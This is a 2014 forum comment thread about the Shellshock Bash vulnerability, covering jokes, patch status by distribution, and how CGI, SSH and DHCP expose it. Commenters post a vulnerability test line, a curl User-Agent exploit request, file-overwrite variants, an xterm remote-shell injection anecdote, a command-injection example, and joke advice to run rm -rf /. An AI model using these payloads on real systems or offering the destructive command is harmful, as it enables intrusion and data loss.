Remote Exploit Vulnerability Found In Bash

Dangerous by blueshift_1 · 2014-09-24 05:14 · Score: 2

I'm not suprised; Bash has always felt a bit dangerous...

Re:Dangerous by twistedcubic · 2014-09-24 05:45 · Score: 1

This is good to know. Can you give an example of a shell which, in your opinion, feels less dangerous?
Re:Dangerous by flyingfsck · 2014-09-24 05:51 · Score: 4, Funny

Awww, come on, don't bash Bash when it is down...

--
Excuse me, but please get off my Pennisetum Clandestinum, eh!
Re:Dangerous by Anonymous Coward · 2014-09-24 06:13 · Score: 1

ksh
Re:Dangerous by jhantin · 2014-09-24 07:30 · Score: 5, Funny

ksh
Pfffft. I should have expected Korny jokes. (Ba-dum-csh.)

--
...when you're writing a game...tweak the difficulty of "Easy" to something [your mother] can cope with. -- onion2k
Re:Dangerous by InterGuru · 2014-09-24 08:16 · Score: 1

Feminist nix command
man bash
Re:Dangerous by Nethead · 2014-09-24 09:03 · Score: 2

Tcsh, tcsh, tcsh on you!

--
-- I have a private email server in my basement.
Re:Dangerous by Culture20 · 2014-09-24 10:36 · Score: 4, Funny

Bash has always felt a bit dangerous...
POUND! BANG! SLASH! bin SLASH! BASH!
#!/bin/bash
Re:Dangerous by SumDog · 2014-09-24 11:51 · Score: 1

fish
Re:Dangerous by MrKaos · 2014-09-24 12:11 · Score: 1

ksh
Pfffft. I should have expected Korny jokes. (Ba-dum-csh.)
sh hhhh!

--
My ism, it's full of beliefs.
Re:Dangerous by EmperorOfCanada · 2014-09-24 13:48 · Score: 1

I send all my commands out to /dev/null for extra security.
Re:Dangerous by Darinbob · 2014-09-25 09:02 · Score: 1

I used to think Adventure Shell was safe, until I met a grue in the dark.
Re:Dangerous by Darinbob · 2014-09-25 09:09 · Score: 1

Actually it rhymes better with hash.
Though, for future reference, different countries use different words for the same thing. Even English speakers do not all use the same slang used in England. It's called the pound key because for much longer than a century the "#" was used as abbreviation for pound (avoirdupois, not sterling) in ledgers and signs in groceries. You must be new to computers I suspect to not realize the hundreds of names assigned to '#'.
Re: Dangerous by joaommp · 2014-09-25 10:37 · Score: 1

he's missing the --no-preserve-root option. that's it.

--
Onda Technology Institute
Re:Dangerous by Nethead · 2014-09-25 12:55 · Score: 1

sh! Don't tell them.

--
-- I have a private email server in my basement.
Re:Dangerous by sew3521 · 2014-09-26 02:30 · Score: 1

I wish I had mod points
Re:Dangerous by Spugglefink · 2014-09-26 05:23 · Score: 1

My favorite is sudo, with the rm -rf / options. Just type sudo rm -rf / into your shell, and all your security concerns will be resolved.
True story: Shortly after switching to Linux back in '01, I did a clever demonstration for my wife, showing her how an ordinary user couldn't screw anything serious up by accident. I went to a shell and issued:
rm -rf /
Look honey, a million error messages, because my user doesn't have the right to delete any of the system files! You can't mess this up!
Just then, it iterated into /home. Oops.

Full Disclosure can be found on oss-security... by Jizzbug · 2014-09-24 05:17 · Score: 5, Informative

https://marc.info/?l=oss-security&m=141157106132018&w=2

--

-=/\- Jizzbug -/\=-

Re:Full Disclosure can be found on oss-security... by lgw · 2014-09-24 05:45 · Score: 5, Interesting

This is exceedingly nasty.

The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function
definition. ...
The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.
This is a weapons-grade exploit IMO, the sort of thing the NSA keeps hidden for when it's really needed. I'm almost surprised it wasn't suppressed.
Hmm, I wonder how many phones are valuable.

--
Socialism: a lie told by totalitarians and believed by fools.
Re:Full Disclosure can be found on oss-security... by GameboyRMH · 2014-09-24 06:03 · Score: 2

I'm assuming you mean "how many phones are vulnerable."
Only Nokia's N-series phones running Maemo, or Android phones with a Linux chroot are capable of running bash or sshd (without crazy hardcore modding).

--
"When information is power, privacy is freedom" - Jah-Wren Ryel
Re:Full Disclosure can be found on oss-security... by CRCulver · 2014-09-24 06:11 · Score: 1

Only Nokia's N-series phones running Maemo ... are capable of running bash or sshd (without crazy hardcore modding).

Installing bash on the N900 required enabling root access and intentionally installing the package. Otherwise Maemo's default shell was Busybox. Jolla's Sailfish OS, however, seems to use bash by default in its terminal application.
Re:Full Disclosure can be found on oss-security... by bugs2squash · 2014-09-24 06:51 · Score: 1

Why does this have to depend on a magic string (â€) at all ? In this day and age are there not better ways to securely, out-of-band, tag information for special purposes ?

--
Nullius in verba
Re:Full Disclosure can be found on oss-security... by warrax_666 · 2014-09-24 07:06 · Score: 2

So you don't have bash installed. I'm fucking AMAZED that your bash isn't exploitable!

--
HAND.
Re:Full Disclosure can be found on oss-security... by Anonymous Coward · 2014-09-24 07:22 · Score: 1

What they really sent: http://permalink.gmane.org/gmane.comp.security.oss.general/13852
Re:Full Disclosure can be found on oss-security... by FatdogHaiku · 2014-09-24 07:55 · Score: 1

I knew something like this would happen when I changed my old Windows ME chair to dual-boot....
Damn...
I would switch to the iChair but you can only face certain selected directions when seated in it...

--
You have the right to remain sentient. If you give up the right to remain sentient, you will be elected to public office
Re:Full Disclosure can be found on oss-security... by marsu_k · 2014-09-24 08:33 · Score: 1

Just ran pacman -Syu

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Gotta love Arch too.
Re:Full Disclosure can be found on oss-security... by metrix007 · 2014-09-24 10:15 · Score: 1

Sigh.
You don't have bash installed, which demonstrates absolutely NOTHING about the security of the OpenBSD bash port.
I would have thought the OpenBSD advocates were shamed into silence after their heavily audited secure by default OS was vulnerable to Heartbleed....

--
If you ignore ACs because they are anonymous - you're an idiot.
Re:Full Disclosure can be found on oss-security... by exomondo · 2014-09-24 10:30 · Score: 2

Otherwise Maemo's default shell was Busybox.
Busybox isn't a shell. The default shell included in busybox is almquist shell (or ash) - so assuming Maemo uses the default it is ash, I can't remember - which is a bourne shell clone and I'm not sure whether ash also has this vulnerability.
Re:Full Disclosure can be found on oss-security... by gweihir · 2014-09-24 10:38 · Score: 2

Really? It does require that you give the attacker control over the environment, which is a dubious thing to do in the first place. For the ssh-based attacks, you need to be at least a user on the system, which makes this a local privilege escalation only. Sure, if somebody actually uses bash as basis for CGI, this could be remotely exploitable, but there is no reason to panic.

--
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Re:Full Disclosure can be found on oss-security... by SumDog · 2014-09-24 11:53 · Score: 2

OpenBSD is so secure with it's default install because it installs absolutely nothing useful
Re:Full Disclosure can be found on oss-security... by lgw · 2014-09-24 12:56 · Score: 1

Are you sure there aren't any cgi scripts on that corporate webserver that devs had to touch that one time to debug that thing?
Fortunately for the SSH case, most multi-tenanted servers these days are using VM-isolation, not user isolation, but privilege escalation exploits of one sort or another do show up as a problem on those web hosts with 10000 accounts, where someone uses the setup to push malware from their account to all the served web pages. Hopefully none of those places still give SSH access!

--
Socialism: a lie told by totalitarians and believed by fools.
Re:Full Disclosure can be found on oss-security... by paskie · 2014-09-24 14:30 · Score: 2

And now it turns out that even patched bash still carries some related security bugs. (Not really a surprise since the parser is complex and bound to, seems like running it on arbitrary environment variables really isn't the best idea...)
So, if you think you are safe,
export X='() { (a)=>\'
bash -c 'brm date'
cat brm
(N.B. the backslash is not inhibiting the apostrophe in shell syntax.)
That is, by crafter environment variables you can still overwrite files and run commands that were supposed to be parameters instead. This is still very dangerous, but thankfully the attack surface is smaller than before, for example $SSH_ORIGINAL_COMMAND is frequently not an issue anymore (at least in case of gitolite I couldn't *quickly* figure out a way to exploit this), etc.
No patch for this available yet.
Today is a fun day for linux! Think about switching your /bin/sh to dash and maybe login shell of non-interactive users too!

--
It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
Re:Full Disclosure can be found on oss-security... by subreality · 2014-09-24 16:09 · Score: 1

It's worse than you think. ANY CGI which calls bash without sanitizing the environment is vulnerable. For instance:
#!/usr/bin/perl print("Content-type: text/plain\n\n"); system("bash -c ls");

but there is no reason to panic.
Start panicking.
Re:Full Disclosure can be found on oss-security... by gweihir · 2014-09-24 17:18 · Score: 1

No. In addition, patching the problem takes like 1 minute.

--
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Re:Full Disclosure can be found on oss-security... by dbIII · 2014-09-24 18:44 · Score: 1

Start grepping you mean.
Oh, finished already.
Re:Full Disclosure can be found on oss-security... by CheeseyDJ · 2014-09-24 22:16 · Score: 1

Hmm, I wonder how many phones are valuable.
FWIW I have a Moto G running CM11, and it is vulnerable. I checked with this test:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Someone further down reckons that this can be exploited via a DHCP request, if you are connected to a malicous AP for example. Scary stuff.
Re:Full Disclosure can be found on oss-security... by gweihir · 2014-09-24 22:25 · Score: 1

It is not quite that easy. You still need to convince the web-server to pass the exploit-code into an environment variable.

--
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Re:Full Disclosure can be found on oss-security... by ArsenneLupin · 2014-09-24 23:08 · Score: 1

Just ran pacman -Syu
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test

Good. And now on to the next level:
env X='() { (a)=>\' bash -c "echo /usr/bin/id"; cat echo
Re:Full Disclosure can be found on oss-security... by jpvlsmv · 2014-09-25 03:18 · Score: 1

In addition, ANY CGI that calls out to the system may call something that is actually a bash script even if it doesn't look like one.
For example, xzgrep on my Ubuntu system is a bash script, so this is vulnerable: #!/usr/bin/perl print("Content-type: text/plain\n\n"); system("xzgrep info /var/log/mylog.xz");
Re:Full Disclosure can be found on oss-security... by Ankh · 2014-09-25 03:58 · Score: 2

The CGI spec tells the Web server to make the user data available as environment variables, so e.g. Apache will put them in the environment, and environment proceses are inherited to all sub-processes, so e.g. a Perl script called via CGI and using back-ticks, my $a = `pwd`; may result in code execution.
The vulnerability doesn't apply to all ways of running code on Web servers, e.g. Java servlet APIs shoud be fine, but CGI does automatically add the HTTP headers and request paramters to the environment.

--
Live barefoot!
free engravings/woodcuts
Re:Full Disclosure can be found on oss-security... by metrix007 · 2014-09-25 05:16 · Score: 1

Fair enough, I didn't read the thread properly. I apologize.

--
If you ignore ACs because they are anonymous - you're an idiot.
Re:Full Disclosure can be found on oss-security... by Carewolf · 2014-09-25 08:06 · Score: 1

If you run unsanitized input from the web in your shell. YOU ARE ALREADY VULNERABLE, you don't need any other issues, you are screwed and the fix is to stop running untrusted unsanitized content on your machine.
Re:Full Disclosure can be found on oss-security... by subreality · 2014-09-25 08:24 · Score: 1

Take a look at the example CGI I posted. It looks completely innocent - the command is a fixed string. It shouldn't be vulnerable, but this bug makes it so.
Re:Full Disclosure can be found on oss-security... by Darinbob · 2014-09-25 10:27 · Score: 1

This mis-feature is suppressed in restricted shells (bash -r), which I suspect is a good workaround for systems that use subshells but which can't guarantee that bash is patched. Except for this description with a restricted environment, I see nothing in the man page that hints that this feature exists.
I think it's actually a side effect of having exported functions be implemented as exported environment variables. A weird feature that lets you do "export func='() { commands; };'". This means that anything can export functions to a bash subshell. It's just plain weird in my view, but I guess if the only way to communicate to a subshell is with the plain environment then that's the only way to export functions.
Re:Full Disclosure can be found on oss-security... by Ol+Olsoc · 2014-09-25 12:08 · Score: 1

Start panicking.
Windows fanboi, welcome!
After updating, which neither required a reboot, nor bitched up the computer, and took very little time I decided that panicking might be a bit premature.
Your level of applicable FUD must be related to the orgasms you had when finding out that there was a vulnerableity in Linux, because you know - like 1 vulnerabiility makes up for the thousands in Windows.

--
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Re:Full Disclosure can be found on oss-security... by marsu_k · 2014-09-26 08:54 · Score: 1

You're right, that wasn't patched until today. Now the result is

/usr/bin/id
cat: echo: No such file or directory
Re:Full Disclosure can be found on oss-security... by squiggleslash · 2014-09-27 00:08 · Score: 1

One thing missing in all of this is how do I exploit it? In the example you give, that's not clear.
So far as I can determine, the only time this is going to be exploited is if you have some way of manipulating the environment of the shell. I can't think of a CGI variable that's directly set to the content of something the caller has enough control over, pretty much all of them are munged, have mandatory punctuation incompatible with use as a function placed at the beginning, or are impossible to put parentheses and punctuation in.
Perhaps I'm wrong. But I'm inclined to think the entire thing is overblown for two reasons. First, the difficulty of setting the environment in the first place, and secondly the fact making system() calls, etc, is always a red flag for those checking for security holes (and is rare and usually unnecessary) because of the other potential issues with calling a program that literally has direct control over a substantial amount of your computer.
Which is not to say that, for example, the DHCP exploit that's been mentioned isn't terrifying, but even that... why the hell does the DHCPD client, by default, allow the environment to be changed via an insecure DHCP environment anyway?

--
You are not alone. This is not normal. None of this is normal.
Re:Full Disclosure can be found on oss-security... by subreality · 2014-09-27 05:27 · Score: 1

Here's the exploit:
curl -A "() { :; }; /usr/bin/touch /tmp/vulnerable" http://127.0.0.1/test.cgi
User-Agent is copied to HTTP_USER_AGENT with no munging.
For DHCP, dhclient calls several hooks (which are usually bash scripts) when events happen. It needs to pass some information like the new domain name. Passing them via the command line creates another set of problems, so they pass them via the environment. For better or worse, it's a common convention.

So now it's the year of the Linux desktop by Anonymous Coward · 2014-09-24 05:17 · Score: 5, Funny

Because we've finally become popular enough to warrant script kiddies finding holes in our toys!
Captcha: Outcry

Re:So now it's the year of the Linux desktop by flyingfsck · 2014-09-24 05:55 · Score: 4, Funny

Oh my, that's torn it. Now I'll have to switch to Minix.

--
Excuse me, but please get off my Pennisetum Clandestinum, eh!
Re:So now it's the year of the Linux desktop by Penguinisto · 2014-09-24 05:58 · Score: 1

You do realize that bash is (nowadays) installed in damned near every *nix out there (though I think HPUX is still holding out.)
Hell, even Solaris started chucking it in at around 5.10 (Solaris 10) or so (or was it 9?), and I thought that would take an act of Congress or the Divine to happen.
(get this - you can even get bash for Windows, which might improve that OS by at least a factor of 20).

--
Quo usque tandem abutere, Nimbus, patientia nostra?
Re:So now it's the year of the Linux desktop by CRCulver · 2014-09-24 06:06 · Score: 4, Informative

You do realize that bash is (nowadays) installed in damned near every *nix out there (though I think HPUX is still holding out.)

Debian and a few other distros have long since switched to Dash as their /bin/sh. Openwrt uses ash (installing bash would require intentional effort), and I assume that many *nix devices with the Busybox environment in lieu of the traditional GNU toolset also eschew bash. Sure, bash is still common out there, but thankfully not as prominent as a decade ago, and even when present it might not be exposed to an attacking surface.
Re:So now it's the year of the Linux desktop by Anonymous Coward · 2014-09-24 06:36 · Score: 1

Wrong. None of the BSDs include bash in the default install.
OpenBSD installs Korn (pdksh to be specific).
FreeBSD installs tcsh.
NetBSD installs csh or ksh
Re:So now it's the year of the Linux desktop by gweihir · 2014-09-24 10:40 · Score: 1

Actually, most embedded systems have busybox instead. Bash is pretty large and complex.

--
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
Re:So now it's the year of the Linux desktop by Fancia · 2014-09-24 12:11 · Score: 1

OS X provides bash preinstalled and as the login shell (since 10.4). /bin/sh is provided by bash.

--

Bít, zabít, jen proto, ze su liska!
Re:So now it's the year of the Linux desktop by Anonymous Coward · 2014-09-24 16:06 · Score: 1

Debian and a few other distros have long since switched to Dash as their /bin/sh.
THIS is why shell issues are a big deal.
Why not let /bin/sh be ,,, drumroll ... /bin/sh ?
By all means install all the shells you want or need, but let /bin/sh be the age old and tested bourne shell.
Re:So now it's the year of the Linux desktop by Kythe · 2014-09-25 00:42 · Score: 1

Likewise, another potentially big target, DD-WRT, uses the plain Bourne shell by default, not BASH.

--

Kythe
Re:So now it's the year of the Linux desktop by jandrese · 2014-09-25 03:15 · Score: 1

I would expect that most busybox version of Bash would be safe, because they're so broken anyway that even the exploits don't work.

--

I read the internet for the articles.
Re:So now it's the year of the Linux desktop by Darinbob · 2014-09-25 10:36 · Score: 1

Personally I think that's kind of goofy, their reasoning at least. It's not dash because of security, but dash because they think bash is big and bulky. Which is not a great argument on a PC (a good argument for an embedded system, which Debian isn't targeting). OpenWRT makes sense because it's an embedded system, so a full featured bash is not appropriate compared to a stripped down and limited shell.
Re:So now it's the year of the Linux desktop by CRCulver · 2014-09-25 10:45 · Score: 1

Actually, it was a great idea on a PC. Debian switched to dash among other reasons because the init system was a big bundle of shell scripts, and switching to a lighter shell brought immediate improvements in boot times. A similar desire for optimization (albeit one ready to junk much of the *nix tradition) led to systemd.
Re:So now it's the year of the Linux desktop by Darinbob · 2014-09-25 10:47 · Score: 1

Because the original Bourne Shell was limited in many ways as a scripting environment (vastly better than csh of course). That's why people kept doing different shells. Korn Shell was a big improvement over /bin/sh, even with just scripting. And if you want just play /bin/sh, do you want the earliest version or the later versions that started adding features? Do you want /bin/sh to be Bourne Shell or do you want it to be a POSIX compliant shell?
The reason bash succeeded wildly is because it a great job of unifying both the easy of use of csh with the scripting of sh, along with the more advanced features and scripting from ksh, and it was POSIX compliant. Even better, if you invoke it as /bin/sh (which most systems do) then you get a subset of bash functionality for POSIX and sh compatibiliy (especially with respect to startup), meaning you can have portable shell scripts which can work on other shells.
Also the original /bin/sh had some licensing issues for awhile. It was AT&T intellectual property. People wanted an alternative implmentation. You can't get the "real" Bourne sh on many systems anymore, and if you could it was last updated back in 1989 I think so it's out of date with many things and not fully POSIX compliant.
Re:So now it's the year of the Linux desktop by Darinbob · 2014-09-25 10:49 · Score: 1

Is this because the shell scripts were using incompatible features, or that they mistakenly used "#!/bin/bash" instead of "#!/bin/sh"? If you link bash to /bin/sh then you get a reasonably compatible shell version. But I have seen people things like "#!/bin/dash" which is just as misguided.
Re:So now it's the year of the Linux desktop by Darinbob · 2014-09-25 10:52 · Score: 1

Nothing I hope uses csh or tcsh as the default shell for scripts. They may use it as a default user shell, but those are too broken for use as a scripting shell.
Not sure why there's all this bash bashing. It's a great shell, and now it has an exploit but it's being patched. Why did the bashing occur before this exploit was found, and will the apologies come out when these other shells turn out to have some exploits?

Missing in windows? by Anonymous Coward · 2014-09-24 05:21 · Score: 5, Funny

I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

Thanks.

Re:Missing in windows? by bragr · 2014-09-24 05:42 · Score: 2

Whoosh!
Re:Missing in windows? by Anonymous Coward · 2014-09-24 05:43 · Score: 1

Removing the icon doesn't remove the program.
Learn2windows.
Not sure the WHOOSH sound could get any louder here...
Re:Missing in windows? by flyingfsck · 2014-09-24 05:50 · Score: 4, Funny

It's because there is no start menu in Windows anymore, you dum dum...

--
Excuse me, but please get off my Pennisetum Clandestinum, eh!
Re:Missing in windows? by just_another_sean · 2014-09-24 06:02 · Score: 4, Interesting

Seriously though is cygwin's bash vulnerable?
Looks like it is to me, haven't had a chance to check for an update yet though...

--
Creationist Textbook Stickers Declared Unconstitutional by CowboyNeal
Re:Missing in windows? by clovis · 2014-09-24 06:22 · Score: 4, Funny

I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?
Thanks.
You seem to have asked a question about removing the Start Menu.
Upgrade to Windows 8, but do not do the Win8.1 upgrade.
Thank you for using our products in the future.
Re:Missing in windows? by _xeno_ · 2014-09-24 07:03 · Score: 4, Informative

I just updated Cygwin to the latest, and yes, it's still vulnerable. (At least its bash-4.1.10-4 is, I suppose it's possible that the mirror I'm using is out of date.)

--
You are in a maze of twisty little relative jumps, all alike.
Re:Missing in windows? by riis138 · 2014-09-24 07:13 · Score: 1

If only there was a clippy app for Linux to make it easier to find, or maybe that search dog.

--
Somewhere, something incredible is waiting to be known. -Carl Sagan
Re:Missing in windows? by Anonymous Coward · 2014-09-24 07:16 · Score: 1

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
Yes. But nobody is going to try this on your dev station. If you are using CGI, this will affect you. Many, many, many ISPs are using suphp + fcgid to run shared hosting. All of those machines are hosed.
Not to long ago, we switched to apache2-mpm-itk, so I guess we dodged the bullet on this one. Sometimes you get lucky.
Re:Missing in windows? by Anonymous Coward · 2014-09-24 08:13 · Score: 5, Funny

Um, that's not a shell that I know of. Citation needed?
Re:Missing in windows? by Melkman · 2014-09-24 08:58 · Score: 1

Bash is fairly new to Windows. You'll only find it in the Windows 8 start menu.
Re:Missing in windows? by Anonymous Coward · 2014-09-24 09:05 · Score: 1, Funny

Bash is fairly new to Windows. You'll only find it in the Windows 8 start menu.
NEW TO WINDOWS?! Some people here bash Windows since forever dude.
Re:Missing in windows? by bigfinger76 · 2014-09-24 09:13 · Score: 2

It can.
Re:Missing in windows? by TeknoHog · 2014-09-24 09:29 · Score: 1

Or an app for us 1337 Linux users to bash Windows...

--
Escher was the first MC and Giger invented the HR department.
Re:Missing in windows? by smaddox · 2014-09-24 10:27 · Score: 1

How could this be used to remotely exploit a CGI-running Apache server? The exploiter would have to have access to the command line or write access to a CGI script, and then why use the exploit in the first place?
Re:Missing in windows? by Anonymous Coward · 2014-09-24 12:01 · Score: 1

CGI pushes HTTP headers into environment variables. So just set a header to the string that has the exploit and it will run the specified command. The specified command could download a file with wget and then run it.
Re:Missing in windows? by hey! · 2014-09-24 12:37 · Score: 2

You're one up on me. I can't find the Start Menu...

--
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Re:Missing in windows? by klui · 2014-09-24 14:12 · Score: 1

Cygwin's bash 4.1.11(6) is no longer vulnerable.
Ubuntu's bash 4.3.11(1) is no longer vulnerable
Re:Missing in windows? by countach · 2014-09-25 01:21 · Score: 1

Just go to a prompt and type the following command: /bin/rm -rf /
Re:Missing in windows? by jandrese · 2014-09-25 03:18 · Score: 1

It's Cygwin, so Bash will be out of date regardless.

--

I read the internet for the articles.
Re:Missing in windows? by _xeno_ · 2014-09-25 03:55 · Score: 1

True, but generally security patches get backported to whatever the current Cygwin version is.
So the vulnerability is as of now fixed with today's 4.1.12-5, which isn't the latest version of Bash.

--
You are in a maze of twisty little relative jumps, all alike.

CentOS 6.5 already has fixed package available by astro · 2014-09-24 05:22 · Score: 5, Insightful

sudo yum update bash

Thank you for the quick warning.

Re:CentOS 6.5 already has fixed package available by Anonymous Coward · 2014-09-24 05:32 · Score: 1

It's not fully fixed, I'd still take precaution.

Only CGI scripts affected? by Anonymous Coward · 2014-09-24 05:27 · Score: 2, Interesting

So, if I undestand correctly, this affects shell scripts used for CGI; do people actually do that on what scale?

Only person I know who does this is a CS teacher in my college, onhis homepage which he has had since early 90s, are there actually commercial installations which do this, some major product with large install base ("asking this for my son")?

Re:Only CGI scripts affected? by gurnec · 2014-09-24 05:39 · Score: 2

This also affects other scripting languages executed via CGI if the code spawns a shell, e.g.:
#!/bin/perl
`cat header.html`
It doesn't necessarily affect scripting languages executed via other means, e.g. mod_*
Re:Only CGI scripts affected? by Narcocide · 2014-09-24 05:40 · Score: 1

Exactly. Don't pass unsanitized environment variables directly to your system shell and its not a problem. Anyone doing this with a cgi script should be slapped.
Re:Only CGI scripts affected? by TheCarp · 2014-09-24 05:40 · Score: 3, Interesting

Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.
That said, you know someone does this. Hell, I have had to deal with web applications written mostly in shell and did much of their processing in shell.... the only thing that really topped it for idiocy was when I dove into some perl4 code for a password change form and found this gem:
$password = $q->param('password');
if "`grep $password /usr/dict/words`" != "" {
}
No taint checking, nothing, just shell out with whatever someone put in the form. I loaded it up and added a "; touch /tmp/foo" on the end and verified there was no protection, then I found 4 more similar errors and figured that since security issues were not even why I opened the code to read it....I re-wrote it from scratch.

--
"I opened my eyes, and everything went dark again"
Re:Only CGI scripts affected? by gurnec · 2014-09-24 05:40 · Score: 1

Oops, missed a "print" in there, but you get the point.
Re:Only CGI scripts affected? by Anonymous Coward · 2014-09-24 05:47 · Score: 2

CGI passes parameters through environment variables, like the request URI and user agent and everything else, to the forked process that handles the request. If the process a) is a bash script itself or b) fork-execs a child bash or /bin/sh linked to bash, without sanitizing/wiping EVERY environment variable (even ones the script doesn't use!), then it can execute arbitrary code.
Really, there needs to be a better, saner language for easily composing prewritten executables. I hate shell syntax anyway.
Re:Only CGI scripts affected? by GameboyRMH · 2014-09-24 05:58 · Score: 2

I'm trying to figure out if the OpenSSH vectors are actually remote exploits or just a privilege escalation in a remote access tool. From what I understand, a user has to be authenticated to get access to any of the variables this exploit can run through.

--
"When information is power, privacy is freedom" - Jah-Wren Ryel
Re:Only CGI scripts affected? by Qzukk · 2014-09-24 06:00 · Score: 1

If the process a) is a bash script itself
If you're using fastcgi with a wrapper script (the recommended configuration for mod_fcgid+PHP), it's time to check the wrapper script. It should not need to be a bash script.
FCGIWrapper /usr/lib/cgi-bin/php5-wrapper .php

--
If I have been able to see further than others, it is because I bought a pair of binoculars.
Re:Only CGI scripts affected? by nedlohs · 2014-09-24 06:26 · Score: 1

Or a CGI script written in a some other lanaguage - like python or perl - or a binary that is on a system with bash as the default shell and which calls the system function in libc (or an equivalent) since that will execute /bin/sh.
There will be a lot of such cases - running a "mail" command or something from imagemagick and so on.
Re:Only CGI scripts affected? by meta-monkey · 2014-09-24 06:28 · Score: 1

Wow, that's a special kind of stupid right there.

--
We don't have a state-run media we have a media-run state.
Re:Only CGI scripts affected? by Anon-Admin · 2014-09-24 06:42 · Score: 2

Ill top that one, back in the late 90's I was hired to check out an ISP's security. I was given standard user access to the web front end.
They had a routine to un-tar/zip/etc a file. You could free form the file name so i entered
junk.tgz:xterm -display my.IP.Addr:0.0
To my surprise There was an xterm on my linux box right to their server, with full root access.
Re:Only CGI scripts affected? by Qzukk · 2014-09-24 06:52 · Score: 1

When using the wrapper, apache spawns the fastcgi server on the first request if it is not already running.

--
If I have been able to see further than others, it is because I bought a pair of binoculars.
Re:Only CGI scripts affected? by BlackPignouf · 2014-09-24 07:18 · Score: 1

A friend of mine wrote a small web application for french conjugation, with verbiste (https://launchpad.net/ubuntu/+source/verbiste).
You type a verb, and it gives you a table like this one :
http://french.about.com/od/ver...
My verb was "avoir && whoami", and its conjugation was "root" :D
Re:Only CGI scripts affected? by TheCarp · 2014-09-24 07:44 · Score: 2

If you think that is bad, you should see the parts I didn't mention, the contents of that if statement was something like "$ERRORNO = 101"
The structure of the program was very simple....it had 4 functions which were called in sequence, each one would set global variables, which would be read by the other. So, if ERRORNO was set, a whole nother function with a whole different big if statement block would then print out the error message..... which is why I opened the code up...one of the errors was wrong.
So basically, it was written in the era of perl 5, to a perl 4 standard, by someone who really liked BASIC.

--
"I opened my eyes, and everything went dark again"
Re:Only CGI scripts affected? by geantvert · 2014-09-24 08:10 · Score: 2

Any setuid program that would call a bash script directly or indirectly could also be vulnerable.
I predict that in the following days hackers will find several ways to cause local privileges escalations by executing system bash scripts with customized environment variables. That could be as simple as configuring a hidden WiFi network with a customized ESSID.
Re:Only CGI scripts affected? by geantvert · 2014-09-24 08:16 · Score: 1

On my ubuntu laptop, gunzip and zcat are Bash script.
Re:Only CGI scripts affected? by K.+S.+Kyosuke · 2014-09-24 10:03 · Score: 1

Oh, there is one. It's called scsh. It's a very neat design, really, but I'm not sure you'll like its syntax either. :-) But conceptually, it's very much sane.

--
Ezekiel 23:20
Re:Only CGI scripts affected? by Uecker · 2014-09-24 16:36 · Score: 2

Yes. This only works if the user has an account. But he might be able to break out of a locked-down account which only runs a specific command.
Re:Only CGI scripts affected? by ArsenneLupin · 2014-09-24 23:25 · Score: 1
Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process,
Which is the case on most Apache Web server configs: the client has full control over the HTTP_REFERER and HTTP_USER_AGENT variables... And the exploit in question works with any environment variable, including those 2.
Well, starting from here, you are vulnerable as soon as:
1. You have a CGI script written as a #!/bin/bash script on your system
1. You have /bin/sh symlinked to /bin/bash (used to be common in many Linux distribution), so as soon as a script calls system(), /bin/bash gets executed, along with the scripts full environment...
Re:Only CGI scripts affected? by jeremyp · 2014-09-25 02:50 · Score: 1

Wouldn't it also display
grep mysekritpassword /usr/dict/words
in a ps -ef listing?

--
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
Re:Only CGI scripts affected? by Uecker · 2014-09-25 05:38 · Score: 1

No, it seems that any command is run using the user's shell which might be bash.
Re:Only CGI scripts affected? by TheCarp · 2014-09-29 05:08 · Score: 1

Why, yes it would, that is a good point. That was hardly the only real issue.
To add insult to injury, it would change the password by generating ldiff files, and storing them in /tmp, then running command line ldap utils on them. So in addition to that, you could likely arbitrarily set someone else's password with a little finagling.
Which, is pretty much why I just verified it could be exploited to touch a file in tmp and immediately began re-writing it.

--
"I opened my eyes, and everything went dark again"

Already fixed in Debian... by msauve · 2014-09-24 05:28 · Score: 5, Informative

Linky

--
"National Security is the chief cause of national insecurity." - Celine's First Law

Re:Already fixed in Debian... by reikae · 2014-09-24 05:41 · Score: 2

I wonder if Debian's default /bin/sh being dash instead of bash reduces the attack surface somewhat. Do usual configurations of web servers (and others listed in TFA) call /bin/sh or /bin/bash directly?
Hindsight is 20/20 obviously, but it makes sense to use a shell with limited features in cases where limited features are enough (especially when remotely accessible). On the other hand, now you've got two shells with potential security issues instead of just one.
Re:Already fixed in Debian... by Anonymous Coward · 2014-09-24 05:50 · Score: 1

Probably doesn't reduce the surface that much. While bash may not be the default shell, a mere #!/bin/bash at the top of ANY script down the chain, written by some poor bloke that just wanted to use [[ ]], makes the script vulnerable
Re:Already fixed in Debian... by paskie · 2014-09-24 06:15 · Score: 1

On repo.or.cz, as login shell for all git user accounts we use a shell script that does some verifications, shows nice error messages etc. Thankfully, #!/bin/sh is at the top of the script and that's dash on the Debian server; otherwise, we would have been vulnerable. (Only getting into a chroot as non-root, but still...)

--
It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
Re:Already fixed in Debian... by trawg · 2014-09-24 06:27 · Score: 1

Fixed in wheezy (v7), but not squeeze (v6). Status: https://security-tracker.debia...
Re:Already fixed in Debian... by nadaou · 2014-09-24 09:30 · Score: 1

